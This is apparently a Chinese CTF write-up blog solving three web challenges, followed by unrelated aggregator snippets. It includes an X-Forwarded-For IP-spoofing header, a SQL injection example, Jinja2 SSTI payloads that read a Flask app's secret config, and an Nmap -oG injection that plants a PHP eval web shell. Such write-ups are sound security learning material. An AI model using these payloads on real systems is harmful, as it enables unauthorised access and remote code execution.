当前位置: 首页 > news >正文

刷题学习记录

[MRCTF2020]PYWebsite1

 进入环境,页面就提示要购买flag,不要想着购买,因为扫码后提示的是一个文本

“拜托!你不会真的想PYflag吧,这样可是违规的!再好好分析一下界面代码吧”

查看网页源码,发现flag文件

访问后得到该页面,查看源码也没有有用的信息

 提示在后端验证了IP,还提示了需要购买者或自己IP,了解到这题的考点是X-Forward-For,果断抓包添加绕过IP限制

X-Forwarded-For:127.0.0.1

 发送后得到该页面,并查看源码也可以得到flag

 笔记

X-Forwarded-For(XFF)

XFF是header请求头中的一个参数
是用来识别通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段。
代表了HTTP的请求端真实的IP。

X-Forwarded-For: client1, proxy1, proxy2, proxy3
//浏览器IP,第一个代理服务器,第二个三个四个等等

   利用方式

1.绕过服务器过滤

XFF漏洞也称为IP欺骗。
有些服务器通过XFF头判断是否是本地服务器,当判断为本地服务器时,才能访问相关内容。

X-Forwarded-For: 127.0.0.1
X-Forwarded-For: 192.168.1.1

修改XFF头的信息,即可绕过服务器的过滤。

2.XFF导致sql注入

XFF注入和SQL的header头部注入原理一样,服务器端会对XFF信息进行记录,
但没有进行过滤处理,就容易导致sql注入的产生

X-Forwarded-for: 127.0.0.1' and 1=1#

   然后进一步利用sql注入,进行渗透测试。

伪造XFF头绕过服务器IP过滤

IP伪造

TCP/IP层面的IP伪造很难实现,因为更改后很难实现正常的TCP通信,但在HTTP层面的伪造就显得很容易。可以通过伪造XFF头进行IP伪造

XFF字段

X-Forwarded-For(XFF)是用来识别通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段。通俗来说,就是浏览器访问网站的IP。一般格式:

X-Forwarded-For: client1, proxy1, proxy2, proxy3

左边第一个是浏览器IP,依次往右为第一个代理服务器IP,第二个,第三个(使用逗号+空格进行分割)

伪造方式

可以通过专门的抓包改包工具或者浏览器插件或者使用脚本语言构造headers参数

参考:https://www.cnblogs.com/dubhe-/p/9987227.html

X-Forwarded-For - HTTP | MDN

X-Forwarded-For 和 X-Real-IP 的区别? - 猪啊美 - 博客园

[WesternCTF2018]shrine1

进入环境,看到这个页面没有什么思路,但看到import,看着有点想python代码

 查看源码

将代码导入pycharm运行,出现报错

 接着不知道要怎么进行下去了,参考别人的wp:渗透学习-CTF篇-web-BUUCTF_ctf渗透题_dfzy$_$的博客-CSDN博客

[WesternCTF2018]shrine-CSDN博客

先了解SSTI

SSTI(模板注入)

SSTI 就是服务器端模板注入(Server-Side Template Injection)

当前使用的一些框架,比如python的flask,php的tp,java的spring等一般都采用成熟的的MVC的模式,用户的输入先进入Controller控制器,然后根据请求类型和请求的指令发送给对应Model业务模型进行业务逻辑判断,数据库存取,最后把结果返回给View视图层,经过模板渲染展示给用户。

漏洞成因就是服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。其影响范围主要取决于模版引擎的复杂性。

凡是使用模板的地方都可能会出现 SSTI 的问题,SSTI 不属于任何一种语言,沙盒绕过也不是,沙盒绕过只是由于模板引擎发现了很大的安全漏洞,然后模板引擎设计出来的一种防护机制,不允许使用没有定义或者声明的模块,这适用于所有的模板引擎。

import flask
import osapp = flask.Flask(__name__)app.config['FLAG'] = os.environ.pop('FLAG')@app.route('/')
def index():return open(__file__).read()@app.route('/shrine/<path:shrine>')
def shrine(shrine):def safe_jinja(s):s = s.replace('(', '').replace(')', '')blacklist = ['config', 'self']return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + sreturn flask.render_template_string(safe_jinja(shrine))if __name__ == '__main__':app.run(debug=True)

    我们看到第一部分这里有个函数flask.render_template_string , 这个函数就是一个模板的调用函数。
    当我们在ctf中看到这个函数时,就可以联想到这很有可能是一道SSTI的题。
    这里会对我们传入的参数进行过滤,也就是说会将传入的参数中的()进行过滤掉,防止我们调用特殊变量或者python内置的函数等等。
    4 这里代码将__name__这个系统变量传入到对应的app变量中,再调用app变量里的config参数调出FLAG的值。

在Flask中,有一些特殊的变量和方法是可以在模板文件中直接访问的。在本关中就有一个config 对象。

且本关由于对输入的参数进行了过滤() 因此,我们可以利用python中的url_for()函数是用于构建操作指定函数的URL。(因为这个函数可以省略(),所以可用)

在分析了传入的pyload的构成后,我们还需要看看在哪个位置处存在注入点

 在代码中的这一部分,有一个app.route() 这里就是指对应的注入的路径!!!

 开始注入

构造payload:

/shrine/{{url_for.__globals__}}

globals 会列出当前的所有的变量。 但是根据题目,我们需要找到当前使用的变量,也就是flask的变量。(这里已经在图中标识了)

然后,读取当前命名空间中的对应变量信息:当前在flask模板下里的config

/shrine/{{url_for.__globals__['current_app'].config}}

看到flag

 但是呢,我们还可以用如下payload直接读取:

/shrine/{{url_for.__globals__['current_app'].config['FLAG']}}

 知识点:SSTI模板注入

一、初识SSTI

1、什么是SSTI?

SSTI就是服务器端模板注入(Server-Side Template Injection),实际上也是一种注入漏洞。

可能SSTI对大家而言不是很熟悉,但是相信大家很熟悉SQL注入。实际上这两者的思路都是相同的,因此可以类比来分析。

2、引发SSTI的真正原因

render_template渲染函数的问题

渲染函数在渲染的时候,往往对用户输入的变量不做渲染。

也就是说例如:{{}}在Jinja2中作为变量包裹标识符,Jinja2在渲染的时候会把{{}}包裹的内容当做变量解析替换。比如{{1+1}}会被解析成2。如此一来就可以实现如同sql注入一样的注入漏洞。
 

参考:服务器端模板注入(SSTI)详解_江西省遂川县常驻深圳大使的博客-CSDN博客

SSTI模板注入总结-CSDN博客

flask之ssti模版注入从零到入门 - 先知社区

[网鼎杯 2020 朱雀组]Nmap1

进入环境,要求输入主机或IP进行扫描

 输入127.0.0.1尝试一下

 但是到这里就不知道要如何操作了

参考:web buuctf [网鼎杯 2020 朱雀组]Nmap1_半杯雨水敬过客的博客-CSDN博客

这道题用到namp的命令,别人的wp解释这道题是namp注入,但具体的namp注入是什么也不清楚

利用NMAP里的-oG命令实现代码的写入,那我们这里就可以尝试构造payload,来利用‘拼接,写入我们想要的shell文件

这里要传入一句话木马,类似于文件上传,但这里多了namp的命令的使用

payload:

' <?php eval($_POST["cmd"]);?> -oG zhuque.php '

 

注入之后发现存在过滤,fuzz,过滤了php

(1)利用<?=来代替<?php进行绕过
(2)利用phtml来代替shell.php的文件后缀

payload:

' <?= eval($_POST["cmd"]);?> -oG zhuque.phtml '

 访问文件查看是否上传成功,结果上传成功

 用蚁剑连接查看文件

找到flag

namp参考:【精选】Namp使用_simple11618的博客-CSDN博客

相关文章:

刷题学习记录

[MRCTF2020]PYWebsite1 进入环境&#xff0c;页面就提示要购买flag&#xff0c;不要想着购买&#xff0c;因为扫码后提示的是一个文本 “拜托&#xff01;你不会真的想PYflag吧&#xff0c;这样可是违规的&#xff01;再好好分析一下界面代码吧” 查看网页源码&#xff0c;发现…...

WPF中依赖属性及附加属性的概念及用法

完全来源于十月的寒流&#xff0c;感谢大佬讲解 依赖属性 由依赖属性提供的属性功能 与字段支持的属性不同&#xff0c;依赖属性扩展了属性的功能。 通常&#xff0c;添加的功能表示或支持以下功能之一&#xff1a; 资源数据绑定样式动画元数据重写属性值继承WPF 设计器集成 …...

Golang爬虫封装

引言 爬虫是一种自动化地从网页中提取信息的程序&#xff0c;它在现代互联网的数据获取和分析中扮演着重要的角色。Golang作为一门强大的编程语言&#xff0c;也提供了丰富的工具和库来实现爬虫功能。在本文中&#xff0c;我们将探讨如何使用Golang来封装一个灵活、高效的爬虫…...

技术分享 | 抓包分析 TCP 协议

TCP 协议是在传输层中&#xff0c;一种面向连接的、可靠的、基于字节流的传输层通信协议。 环境准备 对接口测试工具进行分类&#xff0c;可以如下几类&#xff1a; 网络嗅探工具&#xff1a;tcpdump&#xff0c;wireshark代理工具&#xff1a;fiddler&#xff0c;charles&a…...

基于前馈神经网络完成鸢尾花分类

目录 1 小批量梯度下降法 1.0 展开聊一聊~ 1.1 数据分组 1.2 用DataLoader进行封装 1.3 模型构建 1.4 完善Runner类 1.5 模型训练 1.6 模型评价 1.7 模型预测 思考 总结 参考文献 首先基础知识铺垫~ 继续使用第三章中的鸢尾花分类任务&#xff0c;将Softm…...

软考高级系统架构设计师系列之:UML建模、设计模式和软件架构设计章节选择题详解

软考高级系统架构设计师系列之:UML建模、设计模式和软件架构设计章节选择题详解 一、设计模式二、4+1模型三、面向对象的分析模型四、构件五、基于架构的软件设计六、4+1视图七、软件架构风格八、特定领域软件架构九、虚拟机十、架构评估十一、敏感点和权衡点十二、分层结构十…...

成集云 | 电商平台、ERP、WMS集成 | 解决方案

电商平台ERPWMS 方案介绍 电商平台即是一个为企业或个人提供网上交易洽谈的平台。企业电子商务平台是建立在Internet网上进行商务活动的虚拟网络空间和保障商务顺利运营的管理环境&#xff1b;是协调、整合信息流、货物流、资金流有序、关联、高效流动的重要场所。企业、商家…...

吴恩达《机器学习》4-6->4-7:正规方程

一、正规方程基本思想 正规方程是一种通过数学推导来求解线性回归参数的方法&#xff0c;它通过最小化代价函数来找到最优参数。 代价函数 J(θ) 用于度量模型预测值与实际值之间的误差&#xff0c;通常采用均方误差。 二、步骤 准备数据集&#xff0c;包括特征矩阵 X 和目标…...

VO、DTO

DTO DTO&#xff08;Data Transfer Object&#xff09; 数据传输对象【前后端交互】 也就是后端开发过程中&#xff0c;用来接收前端传过来的参数&#xff0c;一般会创建一个Java对应的DTO类&#xff08;UserDTO等等&#xff09; 因为前端一般传来的是Json格式的数据&#xf…...

RK3566上运行yolov5模型进行图像识别

一、简介 本文记录了依靠RK官网的文档&#xff0c;一步步搭建环境到最终在rk3566上把yolov5 模型跑起来。最终实现的效果如下&#xff1a; 在rk3566 板端运行如下app&#xff1a; ./rknn_yolov5_demo model/RK356X/yolov5s-640-640.rknn model/bus.jpg其中yolov5s-640-640.r…...

汽车标定技术(一):XCP概述

目录 1.汽车标定概述 2.XCP协议由来及版本介绍 3.XCP技术通览 3.1 XCP上下机通信模型 3.2 XCP指令集 3.2.1 XCP帧结构定义 3.2.2 标准指令集 3.2.3 标定指令集 3.2.4 页切换指令集 3.2.5 数据采集指令集 3.2.6 刷写指令集 3.3 ECU描述文件(A2L)概述 3.3.1 标定上位…...

短视频的运营方法

尊敬的用户们&#xff0c;你们好&#xff01;今天我将为大家带来一篇关于短视频运营的专业文章。在当今互联网时代&#xff0c;短视频已经成为了一个重要的流量入口&#xff0c;掌握正确的运营方法对于企业的发展至关重要。接下来&#xff0c;我将通过以下几个方面为大家详细介…...

GitLab CI/CD 持续集成/部署 SpringBoot 项目

一、GitLab CI/CD 介绍 GitLab CI/CD&#xff08;Continuous Integration/Continuous Deployment&#xff09;是 GitLab 提供的一种持续集成和持续部署的解决方案。它可以自动化软件的构建、测试和部署过程&#xff0c;以便开发者更快地、更频繁地发布可靠的产品。 整体过程如…...

第二证券:政策效应逐步显现 A股修复行情有望持续演绎

上星期&#xff0c;A股商场延续企稳反弹的态势&#xff0c;上证指数震荡上涨0.43%&#xff1b;沪深两市日均成交额回升至8700亿元左右&#xff1b;北向资金近一个月初次转为周净买入5.57亿元。 安排观点一起认为&#xff0c;在稳增加、稳预期相关政策持续发力&#xff0c;上市…...

sql逻辑优化

1.分页 通常使用每页条数及第一页作为参数 开发接口 GetMapping("/querySystemList") public List<SystemAduit> querySystemList(RequestParam("keyword") String keyword,RequestParam(name "offset", defaultValue "0") i…...

【数据结构】树与二叉树(一):树(森林)的基本概念:父亲、儿子、兄弟、后裔、祖先、度、叶子结点、分支结点、结点的层数、路径、路径长度、结点的深度、树的深度

文章目录 5.1 树的基本概念5.1.1 树的定义树有序树、无序树 5.1.2 森林的定义5.1.3 树的术语1. 父亲&#xff08;parent&#xff09;、儿子&#xff08;child&#xff09;、兄弟&#xff08;sibling&#xff09;、后裔&#xff08;descendant&#xff09;、祖先&#xff08;anc…...

2024 Android Framework学习大纲之基础理论篇

2024 Android Framework学习大纲之基础理论篇 受到当前经济影响&#xff0c;互联网越来越不景气了,因此Android App开发也是越来越不景气&#xff0c;中小型公司越来越偏向跨平台开发&#xff0c;比如Flutter&#xff0c;这样能节省成本&#xff0c;笔者也曾经是一名6年多工作经…...

【深度学习】Yolov8 区域计数

git&#xff1a;https://github.com/ultralytics/ultralytics/blob/main/examples/YOLOv8-Region-Counter/readme.md 很长时间没有做yolov的项目了&#xff0c;最近一看yolov8有一个区域计数的功能&#xff0c;不得不说很实用啊。 b站&#xff1a;https://www.bilibili.com/vid…...

Windows 系统服务器部署jar包时,推荐使用winsw,将jar包注册成服务,并设置开机启动。

一、其他方式不推荐的原因 1、Spring Boot生成的jar包&#xff0c;可以直接用java -jar运行&#xff0c;但是前提是需要登录用户&#xff0c;而且注销用户后会退出程序&#xff0c;所以不可用。 2、使用计划任务&#xff0c;写一个bat处理文件&#xff0c;里面写java -jar运行…...

npm 包管理

1. 命令 // 查看是否登录 npm who am i // 登录&#xff1a;输入用户名、密码、邮箱、一次性登录密码&#xff08;邮箱接收&#xff09; npm login // 创建 npm init // 快速创建 npm init -y // 发包 npm publish // 发包&#xff08;开源&#xff09; npm publish --access …...

django filter 统计数量 按属性去重

在Django中&#xff0c;如果你想要根据某个属性对查询集进行去重并统计数量&#xff0c;你可以使用values()方法配合annotate()方法来实现。这里有两种常见的方法来完成这个需求&#xff1a; 方法1&#xff1a;使用annotate()和Count 假设你有一个模型Item&#xff0c;并且你想…...

【快手拥抱开源】通过快手团队开源的 KwaiCoder-AutoThink-preview 解锁大语言模型的潜力

引言&#xff1a; 在人工智能快速发展的浪潮中&#xff0c;快手Kwaipilot团队推出的 KwaiCoder-AutoThink-preview 具有里程碑意义——这是首个公开的AutoThink大语言模型&#xff08;LLM&#xff09;。该模型代表着该领域的重大突破&#xff0c;通过独特方式融合思考与非思考…...

postgresql|数据库|只读用户的创建和删除(备忘)

CREATE USER read_only WITH PASSWORD 密码 -- 连接到xxx数据库 \c xxx -- 授予对xxx数据库的只读权限 GRANT CONNECT ON DATABASE xxx TO read_only; GRANT USAGE ON SCHEMA public TO read_only; GRANT SELECT ON ALL TABLES IN SCHEMA public TO read_only; GRANT EXECUTE O…...

高等数学(下)题型笔记(八)空间解析几何与向量代数

目录 0 前言 1 向量的点乘 1.1 基本公式 1.2 例题 2 向量的叉乘 2.1 基础知识 2.2 例题 3 空间平面方程 3.1 基础知识 3.2 例题 4 空间直线方程 4.1 基础知识 4.2 例题 5 旋转曲面及其方程 5.1 基础知识 5.2 例题 6 空间曲面的法线与切平面 6.1 基础知识 6.2…...

跨链模式:多链互操作架构与性能扩展方案

跨链模式&#xff1a;多链互操作架构与性能扩展方案 ——构建下一代区块链互联网的技术基石 一、跨链架构的核心范式演进 1. 分层协议栈&#xff1a;模块化解耦设计 现代跨链系统采用分层协议栈实现灵活扩展&#xff08;H2Cross架构&#xff09;&#xff1a; 适配层&#xf…...

python爬虫:Newspaper3k 的详细使用(好用的新闻网站文章抓取和解析的Python库)

更多内容请见: 爬虫和逆向教程-专栏介绍和目录 文章目录 一、Newspaper3k 概述1.1 Newspaper3k 介绍1.2 主要功能1.3 典型应用场景1.4 安装二、基本用法2.2 提取单篇文章的内容2.2 处理多篇文档三、高级选项3.1 自定义配置3.2 分析文章情感四、实战案例4.1 构建新闻摘要聚合器…...

Rust 异步编程

Rust 异步编程 引言 Rust 是一种系统编程语言,以其高性能、安全性以及零成本抽象而著称。在多核处理器成为主流的今天,异步编程成为了一种提高应用性能、优化资源利用的有效手段。本文将深入探讨 Rust 异步编程的核心概念、常用库以及最佳实践。 异步编程基础 什么是异步…...

【python异步多线程】异步多线程爬虫代码示例

claude生成的python多线程、异步代码示例&#xff0c;模拟20个网页的爬取&#xff0c;每个网页假设要0.5-2秒完成。 代码 Python多线程爬虫教程 核心概念 多线程&#xff1a;允许程序同时执行多个任务&#xff0c;提高IO密集型任务&#xff08;如网络请求&#xff09;的效率…...

AI编程--插件对比分析:CodeRider、GitHub Copilot及其他

AI编程插件对比分析&#xff1a;CodeRider、GitHub Copilot及其他 随着人工智能技术的快速发展&#xff0c;AI编程插件已成为提升开发者生产力的重要工具。CodeRider和GitHub Copilot作为市场上的领先者&#xff0c;分别以其独特的特性和生态系统吸引了大量开发者。本文将从功…...

AI书签管理工具开发全记录(十九):嵌入资源处理

1.前言 &#x1f4dd; 在上一篇文章中&#xff0c;我们完成了书签的导入导出功能。本篇文章我们研究如何处理嵌入资源&#xff0c;方便后续将资源打包到一个可执行文件中。 2.embed介绍 &#x1f3af; Go 1.16 引入了革命性的 embed 包&#xff0c;彻底改变了静态资源管理的…...